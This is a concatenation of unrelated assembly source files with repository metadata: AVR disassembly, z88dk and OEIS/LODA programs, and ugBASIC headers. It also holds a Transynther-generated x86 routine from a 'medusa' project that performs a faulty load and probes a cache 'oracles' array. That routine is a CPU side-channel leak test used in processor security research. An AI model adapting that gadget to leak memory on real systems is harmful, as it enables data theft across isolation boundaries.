<main+0x1de> 34e: 8e 7f andi r24, 0xFE ; 254 350: 82 60 ori r24, 0x02 ; 2 352: 19 c0 rjmp .+50 ; 0x386 <main+0x1de> 354: 90 91 65 00 lds r25, 0x0065 ; 0x800065 <scan_button_cnt> 358: 99 23 and r25, r25 35a: 09 f4 brne .+2 ; 0x35e <main+0x1b6> 35c: 41 c0 rjmp .+130 ; 0x3e0 <main+0x238> 35e: 87 ff sbrs r24, 7 360: 05 c0 rjmp .+10 ; 0x36c <main+0x1c4> 362: 8d 7f andi r24, 0xFD ; 253 364: 85 60 ori r24, 0x05 ; 5 366: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 36a: 19 e0 ldi r17, 0x09 ; 9 36c: b1 9b sbis 0x16, 1 ; 22 36e: 38 c0 rjmp .+112 ; 0x3e0 <main+0x238> 370: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 374: 86 ff sbrs r24, 6 376: 09 c0 rjmp .+18 ; 0x38a <main+0x1e2> 378: 8f 25 eor r24, r15 37a: 84 fd sbrc r24, 4 37c: 02 c0 rjmp .+4 ; 0x382 <main+0x1da> 37e: 10 e0 ldi r17, 0x00 ; 0 380: 01 c0 rjmp .+2 ; 0x384 <main+0x1dc> 382: 18 e0 ldi r17, 0x08 ; 8 384: 84 60 ori r24, 0x04 ; 4 386: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 38a: 10 92 65 00 sts 0x0065, r1 ; 0x800065 <scan_button_cnt> 38e: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 392: 8f 73 andi r24, 0x3F ; 63 394: 11 c0 rjmp .+34 ; 0x3b8 <main+0x210> 396: b1 9b sbis 0x16, 1 ; 22 398: 23 c0 rjmp .+70 ; 0x3e0 <main+0x238> 39a: 8e 7f andi r24, 0xFE ; 254 39c: 82 60 ori r24, 0x02 ; 2 39e: 0c c0 rjmp .+24 ; 0x3b8 <main+0x210> 3a0: b1 99 sbic 0x16, 1 ; 22 3a2: 0d c0 rjmp .+26 ; 0x3be <main+0x216> 3a4: 85 b7 in r24, 0x35 ; 53 3a6: 87 7e andi r24, 0xE7 ; 231 3a8: 85 bf out 0x35, r24 ; 53 3aa: d0 93 69 00 sts 0x0069, r29 ; 0x800069 <__bss_end+0x1> 3ae: c0 93 68 00 sts 0x0068, r28 ; 0x800068 <__bss_end> 3b2: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 3b6: 83 60 ori r24, 0x03 ; 3 3b8: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 3bc: 11 c0 rjmp .+34 ; 0x3e0 <main+0x238> 3be: 10 92 65 00 sts 0x0065, r1 ; 0x800065 <scan_button_cnt> 3c2: 8f 73 andi r24, 0x3F ; 63 3c4: 84 60 ori r24, 0x04 ; 4 3c6: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 3ca: 85 b7 in r24, 0x35 ; 53 3cc: 87 7e andi r24, 0xE7 ; 231 3ce: 80 61 ori r24, 0x10 ; 16 3d0: 85 bf out 0x35, r24 ; 53 3d2: 8b b7 in r24, 0x3b ; 59 3d4: 80 64 ori r24, 0x40 ; 64 3d6: 8b bf out 0x3b, r24 ; 59 3d8: 8a b7 in r24, 0x3a ; 58 3da: 8f 7b andi r24, 0xBF ; 191 3dc: 8a bf out 0x3a, r24 ; 58 3de: 19 e0 ldi r17, 0x09 ; 9 3e0: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 3e4: 82 ff sbrs r24, 2 3e6: 0a c0 rjmp .+20 ; 0x3fc <main+0x254> 3e8: 8b 7f andi r24, 0xFB ; 251 3ea: 80 62 ori r24, 0x20 ; 32 3ec: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 3f0: 61 e0 ldi r22, 0x01 ; 1 3f2: 81 2f mov r24, r17 3f4: 83 de rcall .-762 ; 0xfc <_Z8setPortshb> 3f6: 61 e0 ldi r22, 0x01 ; 1 3f8: 81 2f mov r24, r17 3fa: a3 de rcall .-698 ; 0x142 <_Z10setPeriodshb> 3fc: 80 91 68 00 lds r24, 0x0068 ; 0x800068 <__bss_end> 400: 90 91 69 00 lds r25, 0x0069 ; 0x800069 <__bss_end+0x1> 404: 8b 57 subi r24, 0x7B ; 123 406: 91 09 sbc r25, r1 408: 90 93 67 00 sts 0x0067, r25 ; 0x800067 <globalTimer+0x1> 40c: 80 93 66 00 sts 0x0066, r24 ; 0x800066 <globalTimer> 410: 88 95 sleep 412: ee ce rjmp .-548 ; 0x1f0 <main+0x48> 414: 1f 5f subi r17, 0xFF ; 255 416: 17 70 andi r17, 0x07 ; 7 418: 84 60 ori r24, 0x04 ; 4 41a: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 41e: 69 cf rjmp .-302 ; 0x2f2 <main+0x14a> 00000420 <_exit>: 420: f8 94 cli 00000422 <__stop_program>: 422: ff cf rjmp .-2 ; 0x422 <__stop_program>
41.19403
71
0.553623
60c9380da2b423800d20f0ff2e413a659485bf9f
92
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/atan.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/atan.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/atan.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_math32 PUBLIC _atan EXTERN cm32_sdcc_atan defc _atan = cm32_sdcc_atan
13.142857
28
0.815217
580269418b16ce52f579ddc987f5337226f1ea62
738
asm
Assembly
programs/oeis/235/A235224.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/235/A235224.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/235/A235224.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A235224: a(0) = 0, and for n > 0, a(n) = largest k such that A002110(k-1) <= n, where A002110(k) gives the k-th primorial number. ; 0,1,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5 mov $2,1 lpb $0,1 add $0,$2 add $1,1 mul $2,2 sub $2,$1 sub $0,$2 trn $0,$1 mul $2,4 lpe
52.714286
501
0.51897
2b29b857bbb6f391808b9e5919f8df60d25a48d9
1,749
asm
Assembly
programs/oeis/092/A092809.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/092/A092809.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/092/A092809.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A092809: Expansion of (1+x-x^2) / ((1-x^2)*(1-4*x^2)). ; 1,1,4,5,16,21,64,85,256,341,1024,1365,4096,5461,16384,21845,65536,87381,262144,349525,1048576,1398101,4194304,5592405,16777216,22369621,67108864,89478485,268435456,357913941,1073741824,1431655765,4294967296,5726623061,17179869184,22906492245,68719476736,91625968981,274877906944,366503875925,1099511627776,1466015503701,4398046511104,5864062014805,17592186044416,23456248059221,70368744177664,93824992236885,281474976710656,375299968947541,1125899906842624,1501199875790165,4503599627370496,6004799503160661,18014398509481984,24019198012642645,72057594037927936,96076792050570581,288230376151711744,384307168202282325,1152921504606846976,1537228672809129301,4611686018427387904,6148914691236517205,18446744073709551616,24595658764946068821,73786976294838206464,98382635059784275285,295147905179352825856,393530540239137101141,1180591620717411303424,1574122160956548404565,4722366482869645213696,6296488643826193618261,18889465931478580854784,25185954575304774473045,75557863725914323419136,100743818301219097892181,302231454903657293676544,402975273204876391568725,1208925819614629174706176,1611901092819505566274901,4835703278458516698824704,6447604371278022265099605,19342813113834066795298816,25790417485112089060398421,77371252455336267181195264,103161669940448356241593685,309485009821345068724781056,412646679761793424966374741,1237940039285380274899124224,1650586719047173699865498965,4951760157141521099596496896,6602346876188694799461995861,19807040628566084398385987584,26409387504754779197847983445,79228162514264337593543950336,105637550019019116791391933781,316912650057057350374175801344,422550200076076467165567735125 mov $1,2 pow $1,$0 gcd $0,2 add $0,1 mul $0,$1 div $0,3
174.9
1,634
0.910234
86d77ee856f56a71a87b041dc1d336704b6fb251
5,386
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_18669_840.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_18669_840.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_18669_840.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x141c8, %r9 nop nop nop nop and $35839, %r13 movl $0x61626364, (%r9) nop nop nop nop nop xor $62238, %r15 lea addresses_A_ht+0x15810, %r15 nop nop nop nop dec %r9 movups (%r15), %xmm3 vpextrq $1, %xmm3, %rbx nop nop nop nop dec %r13 lea addresses_WC_ht+0x1bcc6, %rsi lea addresses_WT_ht+0x990, %rdi nop nop nop and $18955, %r13 mov $118, %rcx rep movsb nop xor $6457, %rcx lea addresses_normal_ht+0x12d46, %rcx nop sub $1390, %rbx mov (%rcx), %r13w nop sub %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r14 push %rax push %rbp push %rbx push %rcx push %rdx push %rsi // Store lea addresses_normal+0xc438, %rbp nop nop nop nop inc %rax movw $0x5152, (%rbp) nop nop nop nop add %rbp, %rbp // Store lea addresses_WT+0x16310, %rsi nop nop nop nop nop xor %rdx, %rdx mov $0x5152535455565758, %rax movq %rax, (%rsi) nop sub $18799, %rsi // Faulty Load mov $0x409cd80000000d10, %rdx nop nop sub $38125, %rbx mov (%rdx), %r14d lea oracles, %rcx and $0xff, %r14 shlq $12, %r14 mov (%rcx,%r14,1), %r14 pop %rsi pop %rdx pop %rcx pop %rbx pop %rbp pop %rax pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_normal', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': True}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}} {'src': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'} {'00': 18669} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
39.896296
2,999
0.658931
3d7a5be0c89fea1547d4a3306702927ccd0fe0f6
2,159
asm
Assembly
smsq/sbas/cmpnuse.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/sbas/cmpnuse.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/sbas/cmpnuse.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; SBAS_CMPNUSE - Sort Out Name Usage V2.00  1994 Tony Tebby section sbas xdef sb_cmpnuse include 'dev8_keys_sbasic' ;+++ ; SBASIC Sort Out Name Usage ; ; d0 r zero ; d1 s ; a0 s ; a1 s ; a6 c p pointer to SuperBASIC variables ; ; All other registers smashed ; Status return standard ;--- sb_cmpnuse move.l sb_nutbb(a6),a0 ; table base move.l sb_nutbp(a6),d1 ; and top sub.l a0,d1 lea scn_table,a1 moveq #0,d0 bra.s scn_eloop scn_loop move.b (a0),d0 ; next code move.b (a1,d0.w),(a0)+ ; rationalised (0=impossible) scn_eloop dbra d1,scn_loop moveq #0,d0 rts badn equ $00 ; bad ....p equ $01 ; procedure ...f. equ $02 ; function ..a.. equ $04 ; array .v... equ $08 ; variable .v..p equ $09 ; variable or proc .v.f. equ $0a ; variable or fun .va.. equ $0c ; array or variable .va.p equ $0d ; array, var or proc .vaf. equ $0e ; array, var or fun pva.. equ $8c ; formal param, array or variable pva.p equ $8d ; formal param, array, var or proc pvaf. equ $8e ; formal param, array, var or fun xv..p equ $09 ; impossible variable or proc xv.f. equ $0a ; impossible variable or fun xva.. equ $0c ; impossible array or variable xva.p equ $0d ; impossible array, var or proc xvaf. equ $0e ; impossible array, var or fun scn_table dc.b .v...,....p,...f.,badn,..a..,xva.p,xvaf.,badn dc.b .v...,xv..p,xv.f.,badn,xva..,xva.p,xvaf.,badn dc.b .va..,.va.p,.vaf.,badn,.va..,.va.p,.vaf.,badn dc.b .va..,.va.p,.vaf.,badn,.va..,.va.p,.vaf.,badn dc.b .v...,....p,...f.,badn,.va..,.va.p,.vaf.,badn dc.b .v...,.v..p,.v.f.,badn,.va..,.va.p,.vaf.,badn dc.b .va..,.va.p,.vaf.,badn,.va..,.va.p,.vaf.,badn dc.b .va..,.va.p,.vaf.,badn,.va..,.va.p,.vaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn dc.b pva..,pva.p,pvaf.,badn,pva..,pva.p,pvaf.,badn end
26.012048
63
0.610931
826e68fdb3838d12738cf2f206854beab89e02d1
140
asm
Assembly
data/maps/objects/RedsHouse2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/objects/RedsHouse2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/objects/RedsHouse2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
RedsHouse2F_Object: db $a ; border block def_warps warp 7, 1, 2, REDS_HOUSE_1F def_signs def_objects def_warps_to REDS_HOUSE_2F
11.666667
30
0.757143
24141459a98ce41e0b2b68f9480c95bbcaa462e0
410
asm
Assembly
scripts/SafariZoneEastRestHouse.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
scripts/SafariZoneEastRestHouse.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
scripts/SafariZoneEastRestHouse.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SafariZoneEastRestHouse_Script: call EnableAutoTextBoxDrawing ret SafariZoneEastRestHouse_TextPointers: dw SafariZoneRestHouse3Text1 dw SafariZoneRestHouse3Text2 dw SafariZoneRestHouse3Text3 SafariZoneRestHouse3Text1: TX_FAR _SafariZoneRestHouse3Text1 db "@" SafariZoneRestHouse3Text2: TX_FAR _SafariZoneRestHouse3Text2 db "@" SafariZoneRestHouse3Text3: TX_FAR _SafariZoneRestHouse3Text3 db "@"
19.52381
37
0.865854
d4908bcca02ec5ebaf9b73147412f753c0de175c
433
asm
Assembly
programs/oeis/027/A027116.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/027/A027116.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/027/A027116.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A027116: a(n) = A027113(n, n+3). ; 7,23,56,120,241,467,886,1660,3087,5715,10552,19452,35825,65943,121342,223240,410663,755391,1389448,2555664,4700673,8645963,15902486,29249316,53797967,98949979,181997480,334745652,615693345 mov $27,$0 mov $29,$0 add $29,1 lpb $29 clr $0,27 mov $0,$27 sub $29,1 sub $0,$29 add $4,2 add $0,$4 cal $0,27053 ; a(n) = T(n,n+2), T given by A027052. sub $0,2 add $28,$0 lpe mov $1,$28
22.789474
190
0.660508
f3dfb2b771a9171d79c84f009211bfd403ce6992
5,414
asm
Assembly
bootdict/bootdict-x86.asm
ikysil/ikforth
165e049fc007003cd05f59332dc856d553d8aac8
[ "Unlicense" ]
8
2017-08-03T08:49:06.000Z
2021-12-17T12:02:19.000Z
bootdict/bootdict-x86.asm
clstrfsck/ikforth
165e049fc007003cd05f59332dc856d553d8aac8
[ "Unlicense" ]
58
2016-04-21T20:03:54.000Z
2022-01-16T00:40:50.000Z
bootdict/bootdict-x86.asm
clstrfsck/ikforth
165e049fc007003cd05f59332dc856d553d8aac8
[ "Unlicense" ]
1
2018-07-25T21:07:00.000Z
2018-07-25T21:07:00.000Z
;****************************************************************************** ; ; bootdict-x86.asm ; ; Unlicense since 1999 by Illya Kysil ; ;****************************************************************************** ; ; Minimal IKForth kernel, which supports compilation from files. ; ;****************************************************************************** INCLUDE "bootdict/x86/bootdict-header.asm" ;****************************************************************************** ; Include functions table ;****************************************************************************** INCLUDE "bootdict/tc/ftable.asm" ;****************************************************************************** ; Include user area variables. These variables are unique for each thread. ;****************************************************************************** INCLUDE "bootdict/tc/user.asm" ;****************************************************************************** ; Include Forth definitions. ;****************************************************************************** ; ALIGN 16 INCLUDE "bootdict/x86-wordlist/wordlist-def.asm" INCLUDE "bootdict/tc/tc-def.asm" INCLUDE "bootdict/tc/tc-trace.asm" INCLUDE "bootdict/tc/forth-vm-notc.asm" INCLUDE "bootdict/x86/forth-vm.asm" MATCH =DTC, CODE_THREADING { INCLUDE "bootdict/x86-dtc/forth-vm-dtc.asm" } MATCH =ITC, CODE_THREADING { INCLUDE "bootdict/x86-itc/forth-vm-itc.asm" } INCLUDE "bootdict/x86-wordlist/forth-wordlist.asm" INCLUDE "bootdict/x86-wordlist/included-wordlist.asm" $INCLUDED "bootdict/x86/primitives.asm" $INCLUDED "bootdict/x86/fcontrol.asm" $INCLUDED "bootdict/tc/varconst.asm" $INCLUDED "bootdict/tc/paren-type-paren.asm" $INCLUDED "bootdict/x86/stack.asm" $INCLUDED "bootdict/x86/rstack.asm" $INCLUDED "bootdict/x86/math.asm" $INCLUDED "bootdict/x86/allot.asm" $INCLUDED "bootdict/x86/comma.asm" $INCLUDED "bootdict/x86/c-comma.asm" $INCLUDED "bootdict/x86/b-comma.asm" $INCLUDED "bootdict/x86/call-comma.asm" $INCLUDED "bootdict/tc/here.asm" $INCLUDED "bootdict/tc/literal.asm" $INCLUDED "bootdict/tc/compile-comma.asm" $INCLUDED "bootdict/tc/two-literal.asm" $INCLUDED "bootdict/x86/double.asm" $INCLUDED "bootdict/x86/compare.asm" $INCLUDED "bootdict/x86/memory.asm" $INCLUDED "bootdict/x86/string.asm" $INCLUDED "bootdict/x86/host.asm" $INCLUDED "bootdict/tc/search.asm" $INCLUDED "bootdict/x86/s-to-d.asm" $INCLUDED "bootdict/x86/b-to-h.asm" $INCLUDED "bootdict/x86/split-8.asm" $INCLUDED "bootdict/x86/to-digit.asm" $INCLUDED "bootdict/x86/to-number.asm" $INCLUDED "bootdict/tc/digits.asm" $INCLUDED "bootdict/tc/h-dot-2.asm" $INCLUDED "bootdict/tc/h-dot-8.asm" $INCLUDED "bootdict/x86/excp-zero.asm" $INCLUDED "bootdict/tc/except.asm" $INCLUDED "bootdict/x86/source-id.asm" $INCLUDED "bootdict/x86/source-id-store.asm" $INCLUDED "bootdict/tc/source.asm" $INCLUDED "bootdict/tc/file.asm" $INCLUDED "bootdict/x86/paren-parse-paren.asm" $INCLUDED "bootdict/tc/parse.asm" $INCLUDED "bootdict/tc/purpose.asm" $INCLUDED "bootdict/x86/sys-upcase.asm" $INCLUDED "bootdict/x86/paren-name-equals-paren.asm" INCLUDE_HEADER_TC $INCLUDED "bootdict/x86-wordlist/wordlist-traverse.asm" $INCLUDED "bootdict/x86-wordlist/wordlist-create.asm" $INCLUDED "bootdict/x86-wordlist/entry-traverse.asm" $INCLUDED "bootdict/x86-wordlist/entry-flags.asm" $INCLUDED "bootdict/x86-wordlist/entry-create.asm" $INCLUDED "bootdict/x86-wordlist/wordlist-search.asm" $INCLUDED "bootdict/tc/recognizer-core.asm" $INCLUDED "bootdict/tc/recognizer-word.asm" $INCLUDED "bootdict/tc/recognizer-num.asm" $INCLUDED "bootdict/tc/postpone.asm" $INCLUDED "bootdict/tc/interpret.asm" $INCLUDED "bootdict/tc/seh-handler.asm" $INCLUDED "bootdict/tc/sig-handler.asm" $INCLUDED "bootdict/x86/sysnt-thread.asm" $INCLUDED "bootdict/x86/syslinux-thread.asm" $INCLUDED "bootdict/x86/init-user.asm" $INCLUDED "bootdict/x86/call-ffl.asm" $INCLUDED "bootdict/x86/main-proc.asm" $INCLUDED "bootdict/tc/bootstrap-interpret.asm"
49.218182
79
0.466753
cfe4842f84f0d4eb466f15c5b25d8e53703a1fef
34,040
asm
Assembly
ugbc/src/hw/ef936x/text_at.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
null
null
null
ugbc/src/hw/ef936x/text_at.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
3
2021-11-27T14:19:16.000Z
2021-12-21T14:44:50.000Z
ugbc/src/hw/ef936x/text_at.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
null
null
null
; /***************************************************************************** ; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ; ***************************************************************************** ; * Copyright 2021 Marco Spedaletti (asimov@mclink.it) ; * ; * Licensed under the Apache License, Version 2.0 (the "License"); ; * you may not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http//www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an "AS IS" BASIS ; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; *---------------------------------------------------------------------------- ; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 ; * (la "Licenza"); è proibito usare questo file se non in conformità alla ; * 